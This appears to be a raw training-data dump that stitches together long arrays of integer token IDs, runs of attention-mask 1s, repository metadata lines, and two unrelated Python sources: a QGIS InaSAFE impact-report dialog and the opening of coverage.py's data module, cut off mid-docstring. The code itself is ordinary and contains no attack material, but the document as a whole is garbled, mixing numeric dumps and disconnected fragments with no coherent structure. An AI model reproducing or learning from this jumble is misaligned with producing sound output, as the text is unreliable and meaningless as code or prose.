3029,
84,
9804,
12,
911,
506,
663,
370,
841,
14,
16,
334,
19,
24410,
1192,
680,
267,
4703,
671,
334,
9042,
9,
27709,
2063,
3336,
14,
5972,
12966,
340,
267,
1083,
508,
283,
3029,
84,
9804,
1370,
710,
1329,
402,
6954,
24410,
1192,
334,
674,
13,
8160,
9,
365,
267,
12414,
5847,
4079,
641,
642,
370,
4472,
19841,
8,
521,
63,
18358,
446,
413,
680,
272,
675,
63,
9996,
520,
2155,
12,
849,
715,
267,
3645,
314,
29484,
367,
406,
5650,
8653,
503,
440,
14,
272,
12985,
77,
520,
1109,
1204,
6014,
12,
849,
413,
267,
4005,
7114,
4402,
4503,
12,
12985,
1615,
6535,
2410,
900,
13,
11132,
267,
22706,
14,
267,
982,
658,
442,
3559,
2529,
2833,
82,
18999,
3800,
22612,
77,
1055,
267,
982,
658,
5224,
3559,
2529,
2833,
82,
18999,
12985,
77,
1055,
398,
2508,
5317,
447,
1487,
559,
1615,
1443,
1218,
5162,
316,
27990,
12,
5966,
12985,
1615,
2116,
365,
4224,
2410,
314,
406,
5650,
8653,
14,
339,
1072,
520,
620,
12,
849,
283,
5254,
7,
267,
627,
283,
5254,
7,
520,
2849,
16324,
6114,
14,
267,
627,
283,
5652,
7,
520,
2849,
16324,
7074,
14,
267,
627,
283,
6971,
7,
520,
2849,
16324,
7669,
14,
272,
2818,
78,
63,
6920,
9,
83,
267,
710,
1329,
402,
18463,
370,
2112,
737,
314,
2011,
900,
14,
710,
30042,
25698,
267,
365,
6366,
9371,
9245,
14,
272,
2818,
3832,
9,
83,
339,
1666,
6121,
272,
3001,
272,
18250,
14,
521,
63,
11132,
14,
3249,
82,
63,
12416,
2723,
272,
18250,
14,
521,
63,
11132,
14,
3249,
82,
63,
3029,
84,
9804,
272,
408,
339,
347,
636,
826,
721,
277,
12,
9220,
83,
12,
308,
5646,
29,
17,
14,
16,
12,
1083,
534,
12416,
2723,
297,
302,
63,
23356,
29,
23,
14,
16,
12,
326,
900,
63,
18358,
29,
403,
12,
675,
63,
9996,
29,
549,
12,
12985,
77,
29,
17,
12,
1072,
534,
5254,
297,
326,
302,
63,
6920,
29,
17,
12,
3376,
29,
403,
304,
221,
327,
8151,
26,
577,
7759,
267,
408,
9346,
4703,
18285,
21484,
1041,
267,
9220,
83,
12,
308,
5646,
12,
5501,
302,
63,
23356,
12,
900,
63,
18358,
12,
12985,
77,
275,
971,
288,
485,
1074,
63,
3249,
82,
63,
635,
8,
28557,
12,
308,
5646,
12,
1083,
12,
715,
12,
302,
63,
23356,
12,
2490,
900,
63,
18358,
12,
675,
63,
9996,
12,
12985,
77,
12,
1072,
9,
267,
291,
14,
28557,
275,
9220,
83,
267,
291,
14,
83,
5646,
275,
308,
5646,
267,
291,
14,
765,
275,
1083,
267,
291,
14,
78,
63,
23356,
275,
302,
63,
23356,
267,
291,
14,
521,
63,
18358,
275,
900,
63,
18358,
267,
291,
14,
1180,
63,
9996,
275,
675,
63,
9996,
267,
291,
14,
22612,
77,
275,
12985,
77,
267,
327,
2670,
626,
1072,
365,
440,
376,
8095,
6370,
334,
69,
14,
71,
14,
473,
5708,
9,
267,
291,
14,
1199,
275,
485,
1074,
63,
1422,
360,
1199,
297,
1072,
12,
2511,
788,
5254,
297,
283,
5652,
297,
283,
6971,
1105,
267,
291,
14,
78,
63,
6920,
275,
302,
63,
6920,
267,
291,
14,
3832,
275,
3376,
339,
347,
5542,
63,
4711,
8,
277,
12,
1323,
12,
612,
29,
403,
304,
267,
408,
1366,
13,
11132,
5793,
402,
5431,
6779,
3180,
314,
2061,
3114,
14,
398,
3897,
267,
4143,
267,
1323,
520,
1625,
12,
2215,
334,
78,
63,
3356,
12,
302,
63,
6324,
12,
302,
63,
4508,
9,
288,
710,
6093,
666,
5845,
14,
710,
3623,
6240,
883,
506,
4697,
13,
503,
288,
413,
13,
13014,
14,
267,
612,
520,
488,
288,
2104,
6276,
6065,
13,
4643,
7163,
12901,
14,
398,
1803,
267,
5514,
267,
1323,
84,
520,
1625,
12,
2215,
334,
78,
63,
3356,
12,
302,
63,
6324,
12,
302,
63,
28557,
12,
302,
63,
4508,
9,
288,
710,
900,
13,
11132,
5793,
402,
314,
666,
12,
2382,
302,
63,
6324,
883,
506,
288,
4697,
13,
503,
413,
13,
13014,
14,
267,
408,
267,
372,
291,
14,
3269,
8,
56,
12,
612,
680,
4711,
8,
56,
9,
339,
347,
5542,
8,
277,
12,
1323,
12,
612,
29,
403,
304,
221,
327,
8151,
26,
577,
8854,
267,
408,
2585,
6548,
334,
509,
6276,
6065,
13,
4643,
7163,
12901,
680,
398,
3897,
267,
4143,
267,
1323,
520,
1625,
12,
2215,
334,
78,
63,
3356,
12,
302,
63,
6324,
12,
302,
63,
4508,
9,
288,
710,
6093,
666,
14,
267,
612,
520,
1625,
1204,
488,
288,
710,
1347,
1338,
14,
398,
1803,
267,
5514,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
assefay/inasafe
|
safe_qgis/tools/impact_report_dialog.py
|
2
|
6817
|
# coding=utf-8
"""
InaSAFE Disaster risk assessment tool developed by AusAid - **Options Dialog.**
Contact : ole.moller.nielsen@gmail.com
.. note:: This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
"""
__author__ = 'tim@linfiniti.com'
__revision__ = '$Format:%H$'
__date__ = '26/10/2013'
__copyright__ = ('Copyright 2012, Australia Indonesia Facility for '
'Disaster Reduction')
from PyQt4 import QtGui, QtCore
from PyQt4.QtCore import pyqtSignature
from safe_qgis.ui.impact_report_dialog_base import Ui_ImpactReportDialogBase
from safe_qgis.utilities.help import show_context_help
class ImpactReportDialog(QtGui.QDialog, Ui_ImpactReportDialogBase):
"""Impact report dialog for the InaSAFE plugin."""
def __init__(self, iface, dock=None, parent=None):
"""Constructor for the dialog.
:param iface: A Quantum GIS QGisAppInterface instance.
:type iface: QGisAppInterface
:param parent: Parent widget of this dialog
:type parent: QWidget
:param dock: Optional dock widget instance that we can notify of
changes to the keywords.
:type dock: Dock
"""
QtGui.QDialog.__init__(self, parent)
self.setupUi(self)
# additional buttons
self.button_save_pdf = QtGui.QPushButton(self.tr('Open PDF'))
self.button_save_pdf.setObjectName('button_save_pdf')
self.button_save_pdf.setToolTip(self.tr(
'Write report to PDF and open it in default viewer'))
self.buttonBox.addButton(
self.button_save_pdf, QtGui.QDialogButtonBox.ActionRole)
self.button_open_composer = QtGui.QPushButton(self.tr('Open composer'))
self.button_open_composer.setObjectName('button_open_composer')
self.button_open_composer.setToolTip(
self.tr('Prepare report and open it in QGIS composer'))
self.buttonBox.addButton(
self.button_open_composer,
QtGui.QDialogButtonBox.ActionRole)
self.button_save_pdf.clicked.connect(self.accept)
self.button_open_composer.clicked.connect(self.accept)
# Save reference to the QGIS interface and parent
self.iface = iface
self.parent = parent
self.dock = dock
self.create_pdf = False
self.default_template_radio.toggled.connect(
self.toggle_template_selectors)
button = self.buttonBox.button(QtGui.QDialogButtonBox.Help)
button.clicked.connect(self.show_help)
# Load templates from resources...
templates_dir = QtCore.QDir(':/plugins/inasafe')
templates_dir.setFilter(
QtCore.QDir.Files |
QtCore.QDir.NoSymLinks |
QtCore.QDir.NoDotAndDotDot)
templates_dir.setNameFilters(['*.qpt', '*.QPT'])
report_files = templates_dir.entryList()
for f in report_files:
self.template_combo.addItem(
QtCore.QFileInfo(f).baseName(), ':/plugins/inasafe/' + f)
# ...and user directory
settings = QtCore.QSettings()
path = settings.value('inasafe/reportTemplatePath', '', type=str)
if path != '':
templates_dir = QtCore.QDir(path)
templates_dir.setFilter(
QtCore.QDir.Files |
QtCore.QDir.NoSymLinks |
QtCore.QDir.NoDotAndDotDot)
templates_dir.setNameFilters(['*.qpt', '*.QPT'])
report_files = templates_dir.entryList()
for f in report_files:
self.template_combo.addItem(
QtCore.QFileInfo(f).baseName(), path + '/' + f)
self.restore_state()
def restore_state(self):
"""Reinstate the options based on the user's stored session info.
"""
settings = QtCore.QSettings()
flag = bool(settings.value(
'inasafe/analysisExtentFlag', True, type=bool))
self.analysis_extent_radio.setChecked(flag)
self.current_extent_radio.setChecked(not flag)
flag = bool(settings.value(
'inasafe/useDefaultTemplates', True, type=bool))
self.default_template_radio.setChecked(flag)
self.custom_template_radio.setChecked(not flag)
try:
path = settings.value('inasafe/lastTemplate', '', type=str)
self.template_combo.setCurrentIndex(
self.template_combo.findData(path))
except TypeError:
self.template_combo.setCurrentIndex(2)
try:
path = settings.value('inasafe/lastCustomTemplate', '', type=str)
except TypeError:
path = ''
self.template_path.setText(path)
def save_state(self):
"""Store the options into the user's stored session info.
"""
settings = QtCore.QSettings()
settings.setValue(
'inasafe/analysisExtentFlag',
self.analysis_extent_radio.isChecked())
settings.setValue(
'inasafe/useDefaultTemplates',
self.default_template_radio.isChecked())
settings.setValue(
'inasafe/lastTemplate',
self.template_combo.itemData(self.template_combo.currentIndex()))
settings.setValue(
'inasafe/lastCustomTemplate', self.template_path.text())
def show_help(self):
"""Show context help for the impact report dialog."""
show_context_help('reports')
def accept(self):
"""Method invoked when OK button is clicked."""
self.save_state()
sender_name = self.sender().objectName()
if sender_name == 'button_save_pdf':
self.create_pdf = True
else:
self.create_pdf = False
QtGui.QDialog.accept(self)
@pyqtSignature('') # prevents actions being handled twice
def on_template_chooser_clicked(self):
"""Auto-connect slot activated when report file tool button is clicked.
"""
# noinspection PyCallByClass,PyTypeChecker
file_name = QtGui.QFileDialog.getOpenFileName(
self,
self.tr('Select report'),
'',
self.tr('QGIS composer templates (*.qpt *.QPT)'))
self.template_path.setText(file_name)
def toggle_template_selectors(self, checked):
if checked:
self.template_combo.setEnabled(True)
self.template_path.setEnabled(False)
self.template_chooser.setEnabled(False)
else:
self.template_combo.setEnabled(False)
self.template_path.setEnabled(True)
self.template_chooser.setEnabled(True)
|
gpl-3.0
|
[
3,
2803,
29,
1624,
13,
24,
199,
624,
199,
607,
65,
27657,
5289,
2311,
22633,
28273,
4744,
477,
27813,
701,
437,
527,
33,
344,
446,
1011,
4558,
30631,
14,
538,
199,
199,
14499,
520,
312,
274,
14,
16924,
1435,
14,
8445,
352,
2464,
32,
6799,
14,
957,
199,
199,
703,
5317,
447,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
1362,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
1362,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
1362,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
199,
624,
199,
199,
363,
2502,
363,
275,
283,
2906,
32,
472,
2408,
5277,
14,
957,
7,
199,
363,
5792,
363,
275,
4505,
3484,
2689,
40,
12913,
199,
363,
602,
363,
275,
283,
1479,
15,
709,
15,
6965,
7,
199,
363,
7307,
363,
275,
661,
7384,
6029,
12,
437,
22306,
473,
977,
368,
10971,
10859,
12498,
367,
283,
326,
283,
2825,
2311,
820,
24095,
358,
199,
199,
504,
14084,
20,
492,
5928,
12,
10565,
199,
504,
14084,
20,
14,
10901,
492,
27149,
10014,
199,
504,
5048,
63,
25325,
14,
1907,
14,
31822,
63,
3070,
63,
7196,
63,
1095,
492,
32471,
63,
8499,
2442,
7457,
5619,
1563,
199,
504,
5048,
63,
25325,
14,
16355,
14,
3437,
492,
2498,
63,
1100,
63,
3437,
421,
199,
533,
8362,
2442,
7457,
5619,
8,
10604,
14,
30983,
12,
32471,
63,
8499,
2442,
7457,
5619,
1563,
304,
272,
408,
8499,
2442,
3622,
9592,
367,
314,
1010,
65,
27657,
3589,
1041,
339,
347,
636,
826,
721,
277,
12,
13395,
12,
366,
766,
29,
403,
12,
1676,
29,
403,
304,
267,
408,
11447,
367,
314,
9592,
14,
398,
520,
635,
13395,
26,
437,
5843,
867,
453,
598,
1311,
1413,
39,
374,
2640,
4267,
1256,
14,
267,
520,
466,
13395,
26,
1413,
39,
374,
2640,
4267,
398,
520,
635,
1676,
26,
16396,
3938,
402,
642,
9592,
267,
520,
466,
1676,
26,
1413,
3339,
398,
520,
635,
366,
766,
26,
4879,
366,
766,
3938,
1256,
626,
781,
883,
11705,
402,
288,
4493,
370,
314,
7681,
14,
267,
520,
466,
366,
766,
26,
577,
766,
267,
408,
398,
5928,
14,
30983,
855,
826,
721,
277,
12,
1676,
9,
267,
291,
14,
2758,
18203,
8,
277,
9,
398,
327,
4722,
15766,
267,
291,
14,
3887,
63,
2117,
63,
5607,
275,
5928,
14,
29116,
8,
277,
14,
454,
360,
4299,
15537,
1333,
267,
291,
14,
3887,
63,
2117,
63,
5607,
14,
10376,
360,
3887,
63,
2117,
63,
5607,
358,
267,
291,
14,
3887,
63,
2117,
63,
5607,
14,
29892,
8,
277,
14,
454,
8,
288,
283,
3534,
3622,
370,
15537,
436,
1551,
652,
315,
849,
27354,
1333,
267,
291,
14,
3887,
3532,
14,
525,
4259,
8,
288,
291,
14,
3887,
63,
2117,
63,
5607,
12,
5928,
14,
30983,
4259,
3532,
14,
3310,
7422,
9,
398,
291,
14,
3887,
63,
1490,
63,
7784,
332,
275,
5928,
14,
29116,
8,
277,
14,
454,
360,
4299,
11395,
332,
1333,
267,
291,
14,
3887,
63,
1490,
63,
7784,
332,
14,
10376,
360,
3887,
63,
1490,
63,
7784,
332,
358,
267,
291,
14,
3887,
63,
1490,
63,
7784,
332,
14,
29892,
8,
288,
291,
14,
454,
360,
22281,
3622,
436,
1551,
652,
315,
27024,
11395,
332,
1333,
267,
291,
14,
3887,
3532,
14,
525,
4259,
8,
288,
291,
14,
3887,
63,
1490,
63,
7784,
332,
12,
288,
5928,
14,
30983,
4259,
3532,
14,
3310,
7422,
9,
398,
291,
14,
3887,
63,
2117,
63,
5607,
14,
11276,
14,
2242,
8,
277,
14,
5694,
9,
267,
291,
14,
3887,
63,
1490,
63,
7784,
332,
14,
11276,
14,
2242,
8,
277,
14,
5694,
9,
398,
327,
11063,
3659,
370,
314,
27024,
3217,
436,
1676,
267,
291,
14,
11166,
275,
13395,
267,
291,
14,
1708,
275,
1676,
267,
291,
14,
21103,
275,
366,
766,
398,
291,
14,
981,
63,
5607,
275,
756,
398,
291,
14,
885,
63,
1160,
63,
11905,
14,
31695,
14,
2242,
8,
288,
291,
14,
13396,
63,
1160,
63,
6662,
83,
9,
398,
5528,
275,
291,
14,
3887,
3532,
14,
3887,
8,
10604,
14,
30983,
4259,
3532,
14,
8673,
9,
267,
5528,
14,
11276,
14,
2242,
8,
277,
14,
2384,
63,
3437,
9,
398,
327,
7190,
7009,
687,
5944,
1396,
267,
7009,
63,
694,
275,
10565,
14,
49,
3567,
6176,
15,
5265,
15,
262,
305,
6504,
358,
267,
7009,
63,
694,
14,
409,
4131,
8,
288,
10565,
14,
49,
3567,
14,
5535,
1204,
288,
10565,
14,
49,
3567,
14,
1944,
16594,
16974,
1204,
288,
10565,
14,
49,
3567,
14,
1944,
14004,
3325,
14004,
14004,
9,
267,
7009,
63,
694,
14,
18347,
18053,
2941,
4856,
81,
541,
297,
11937,
49,
4189,
1105,
267,
3622,
63,
1725,
275,
7009,
63,
694,
14,
2373,
1296,
342,
267,
367,
289,
315,
3622,
63,
1725,
26,
288,
291,
14,
1160,
63,
12650,
14,
19798,
8,
355,
10565,
14,
49,
1173,
2354,
8,
70,
680,
1095,
985,
1062,
7596,
15,
5265,
15,
262,
305,
6504,
4805,
435,
289,
9,
267,
327,
221,
2263,
460,
922,
2082,
267,
2202,
275,
10565,
14,
49,
5268,
342,
267,
931,
275,
2202,
14,
585,
360,
262,
305,
6504,
15,
3070,
4231,
2042,
297,
3260,
730,
29,
495,
9,
267,
340,
931,
1137,
8061,
288,
7009,
63,
694,
275,
10565,
14,
49,
3567,
8,
515,
9,
288,
7009,
63,
694,
14,
409,
4131,
8,
355,
10565,
14,
49,
3567,
14,
5535,
1204,
355,
10565,
14,
49,
3567,
14,
1944,
16594,
16974,
1204,
355,
10565,
14,
49,
3567,
14,
1944,
14004,
3325,
14004,
14004,
9,
288,
7009,
63,
694,
14,
18347,
18053,
2941,
4856,
81,
541,
297,
11937,
49,
4189,
1105,
288,
3622,
63,
1725,
275,
7009,
63,
694,
14,
2373,
1296,
342,
288,
367,
289,
315,
3622,
63,
1725,
26,
355,
291,
14,
1160,
63,
12650,
14,
19798,
8,
490,
10565,
14,
49,
1173,
2354,
8,
70,
680,
1095,
985,
1062,
931,
435,
7324,
435,
289,
9,
398,
291,
14,
8011,
63,
929,
342,
339,
347,
9066,
63,
929,
8,
277,
304,
267,
408,
497,
262,
929,
314,
1511,
4079,
641,
314,
922,
1159,
5489,
2351,
2256,
14,
267,
408,
267,
2202,
275,
10565,
14,
49,
5268,
342,
398
] |
[
2803,
29,
1624,
13,
24,
199,
624,
199,
607,
65,
27657,
5289,
2311,
22633,
28273,
4744,
477,
27813,
701,
437,
527,
33,
344,
446,
1011,
4558,
30631,
14,
538,
199,
199,
14499,
520,
312,
274,
14,
16924,
1435,
14,
8445,
352,
2464,
32,
6799,
14,
957,
199,
199,
703,
5317,
447,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
1362,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
1362,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
1362,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
199,
624,
199,
199,
363,
2502,
363,
275,
283,
2906,
32,
472,
2408,
5277,
14,
957,
7,
199,
363,
5792,
363,
275,
4505,
3484,
2689,
40,
12913,
199,
363,
602,
363,
275,
283,
1479,
15,
709,
15,
6965,
7,
199,
363,
7307,
363,
275,
661,
7384,
6029,
12,
437,
22306,
473,
977,
368,
10971,
10859,
12498,
367,
283,
326,
283,
2825,
2311,
820,
24095,
358,
199,
199,
504,
14084,
20,
492,
5928,
12,
10565,
199,
504,
14084,
20,
14,
10901,
492,
27149,
10014,
199,
504,
5048,
63,
25325,
14,
1907,
14,
31822,
63,
3070,
63,
7196,
63,
1095,
492,
32471,
63,
8499,
2442,
7457,
5619,
1563,
199,
504,
5048,
63,
25325,
14,
16355,
14,
3437,
492,
2498,
63,
1100,
63,
3437,
421,
199,
533,
8362,
2442,
7457,
5619,
8,
10604,
14,
30983,
12,
32471,
63,
8499,
2442,
7457,
5619,
1563,
304,
272,
408,
8499,
2442,
3622,
9592,
367,
314,
1010,
65,
27657,
3589,
1041,
339,
347,
636,
826,
721,
277,
12,
13395,
12,
366,
766,
29,
403,
12,
1676,
29,
403,
304,
267,
408,
11447,
367,
314,
9592,
14,
398,
520,
635,
13395,
26,
437,
5843,
867,
453,
598,
1311,
1413,
39,
374,
2640,
4267,
1256,
14,
267,
520,
466,
13395,
26,
1413,
39,
374,
2640,
4267,
398,
520,
635,
1676,
26,
16396,
3938,
402,
642,
9592,
267,
520,
466,
1676,
26,
1413,
3339,
398,
520,
635,
366,
766,
26,
4879,
366,
766,
3938,
1256,
626,
781,
883,
11705,
402,
288,
4493,
370,
314,
7681,
14,
267,
520,
466,
366,
766,
26,
577,
766,
267,
408,
398,
5928,
14,
30983,
855,
826,
721,
277,
12,
1676,
9,
267,
291,
14,
2758,
18203,
8,
277,
9,
398,
327,
4722,
15766,
267,
291,
14,
3887,
63,
2117,
63,
5607,
275,
5928,
14,
29116,
8,
277,
14,
454,
360,
4299,
15537,
1333,
267,
291,
14,
3887,
63,
2117,
63,
5607,
14,
10376,
360,
3887,
63,
2117,
63,
5607,
358,
267,
291,
14,
3887,
63,
2117,
63,
5607,
14,
29892,
8,
277,
14,
454,
8,
288,
283,
3534,
3622,
370,
15537,
436,
1551,
652,
315,
849,
27354,
1333,
267,
291,
14,
3887,
3532,
14,
525,
4259,
8,
288,
291,
14,
3887,
63,
2117,
63,
5607,
12,
5928,
14,
30983,
4259,
3532,
14,
3310,
7422,
9,
398,
291,
14,
3887,
63,
1490,
63,
7784,
332,
275,
5928,
14,
29116,
8,
277,
14,
454,
360,
4299,
11395,
332,
1333,
267,
291,
14,
3887,
63,
1490,
63,
7784,
332,
14,
10376,
360,
3887,
63,
1490,
63,
7784,
332,
358,
267,
291,
14,
3887,
63,
1490,
63,
7784,
332,
14,
29892,
8,
288,
291,
14,
454,
360,
22281,
3622,
436,
1551,
652,
315,
27024,
11395,
332,
1333,
267,
291,
14,
3887,
3532,
14,
525,
4259,
8,
288,
291,
14,
3887,
63,
1490,
63,
7784,
332,
12,
288,
5928,
14,
30983,
4259,
3532,
14,
3310,
7422,
9,
398,
291,
14,
3887,
63,
2117,
63,
5607,
14,
11276,
14,
2242,
8,
277,
14,
5694,
9,
267,
291,
14,
3887,
63,
1490,
63,
7784,
332,
14,
11276,
14,
2242,
8,
277,
14,
5694,
9,
398,
327,
11063,
3659,
370,
314,
27024,
3217,
436,
1676,
267,
291,
14,
11166,
275,
13395,
267,
291,
14,
1708,
275,
1676,
267,
291,
14,
21103,
275,
366,
766,
398,
291,
14,
981,
63,
5607,
275,
756,
398,
291,
14,
885,
63,
1160,
63,
11905,
14,
31695,
14,
2242,
8,
288,
291,
14,
13396,
63,
1160,
63,
6662,
83,
9,
398,
5528,
275,
291,
14,
3887,
3532,
14,
3887,
8,
10604,
14,
30983,
4259,
3532,
14,
8673,
9,
267,
5528,
14,
11276,
14,
2242,
8,
277,
14,
2384,
63,
3437,
9,
398,
327,
7190,
7009,
687,
5944,
1396,
267,
7009,
63,
694,
275,
10565,
14,
49,
3567,
6176,
15,
5265,
15,
262,
305,
6504,
358,
267,
7009,
63,
694,
14,
409,
4131,
8,
288,
10565,
14,
49,
3567,
14,
5535,
1204,
288,
10565,
14,
49,
3567,
14,
1944,
16594,
16974,
1204,
288,
10565,
14,
49,
3567,
14,
1944,
14004,
3325,
14004,
14004,
9,
267,
7009,
63,
694,
14,
18347,
18053,
2941,
4856,
81,
541,
297,
11937,
49,
4189,
1105,
267,
3622,
63,
1725,
275,
7009,
63,
694,
14,
2373,
1296,
342,
267,
367,
289,
315,
3622,
63,
1725,
26,
288,
291,
14,
1160,
63,
12650,
14,
19798,
8,
355,
10565,
14,
49,
1173,
2354,
8,
70,
680,
1095,
985,
1062,
7596,
15,
5265,
15,
262,
305,
6504,
4805,
435,
289,
9,
267,
327,
221,
2263,
460,
922,
2082,
267,
2202,
275,
10565,
14,
49,
5268,
342,
267,
931,
275,
2202,
14,
585,
360,
262,
305,
6504,
15,
3070,
4231,
2042,
297,
3260,
730,
29,
495,
9,
267,
340,
931,
1137,
8061,
288,
7009,
63,
694,
275,
10565,
14,
49,
3567,
8,
515,
9,
288,
7009,
63,
694,
14,
409,
4131,
8,
355,
10565,
14,
49,
3567,
14,
5535,
1204,
355,
10565,
14,
49,
3567,
14,
1944,
16594,
16974,
1204,
355,
10565,
14,
49,
3567,
14,
1944,
14004,
3325,
14004,
14004,
9,
288,
7009,
63,
694,
14,
18347,
18053,
2941,
4856,
81,
541,
297,
11937,
49,
4189,
1105,
288,
3622,
63,
1725,
275,
7009,
63,
694,
14,
2373,
1296,
342,
288,
367,
289,
315,
3622,
63,
1725,
26,
355,
291,
14,
1160,
63,
12650,
14,
19798,
8,
490,
10565,
14,
49,
1173,
2354,
8,
70,
680,
1095,
985,
1062,
931,
435,
7324,
435,
289,
9,
398,
291,
14,
8011,
63,
929,
342,
339,
347,
9066,
63,
929,
8,
277,
304,
267,
408,
497,
262,
929,
314,
1511,
4079,
641,
314,
922,
1159,
5489,
2351,
2256,
14,
267,
408,
267,
2202,
275,
10565,
14,
49,
5268,
342,
398,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
SNAPPETITE/backend
|
flask/lib/python2.7/site-packages/coverage/data.py
|
27
|
27526
|
# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0
# For details: https://bitbucket.org/ned/coveragepy/src/default/NOTICE.txt
"""Coverage data for coverage.py."""
import glob
import json
import optparse
import os
import os.path
import random
import re
import socket
from coverage import env
from coverage.backward import iitems, string_class
from coverage.debug import _TEST_NAME_FILE
from coverage.files import PathAliases
from coverage.misc import CoverageException, file_be_gone, isolate_module
os = isolate_module(os)
class CoverageData(object):
"""Manages collected coverage data, including file storage.
This class is the public supported API to the data coverage.py collects
during program execution. It includes information about what code was
executed. It does not include information from the analysis phase, to
determine what lines could have been executed, or what lines were not
executed.
.. note::
The file format is not documented or guaranteed. It will change in
the future, in possibly complicated ways. Do not read coverage.py
data files directly. Use this API to avoid disruption.
There are a number of kinds of data that can be collected:
* **lines**: the line numbers of source lines that were executed.
These are always available.
* **arcs**: pairs of source and destination line numbers for transitions
between source lines. These are only available if branch coverage was
used.
* **file tracer names**: the module names of the file tracer plugins that
handled each file in the data.
* **run information**: information about the program execution. This is
written during "coverage run", and then accumulated during "coverage
combine".
Lines, arcs, and file tracer names are stored for each source file. File
names in this API are case-sensitive, even on platforms with
case-insensitive file systems.
To read a coverage.py data file, use :meth:`read_file`, or
:meth:`read_fileobj` if you have an already-opened file. You can then
access the line, arc, or file tracer data with :meth:`lines`, :meth:`arcs`,
or :meth:`file_tracer`. Run information is available with
:meth:`run_infos`.
The :meth:`has_arcs` method indicates whether arc data is available. You
can get a list of the files in the data with :meth:`measured_files`.
A summary of the line data is available from :meth:`line_counts`. As with
most Python containers, you can determine if there is any data at all by
using this object as a boolean value.
Most data files will be created by coverage.py itself, but you can use
methods here to create data files if you like. The :meth:`add_lines`,
:meth:`add_arcs`, and :meth:`add_file_tracers` methods add data, in ways
that are convenient for coverage.py. The :meth:`add_run_info` method adds
key-value pairs to the run information.
To add a file without any measured data, use :meth:`touch_file`.
You write to a named file with :meth:`write_file`, or to an already opened
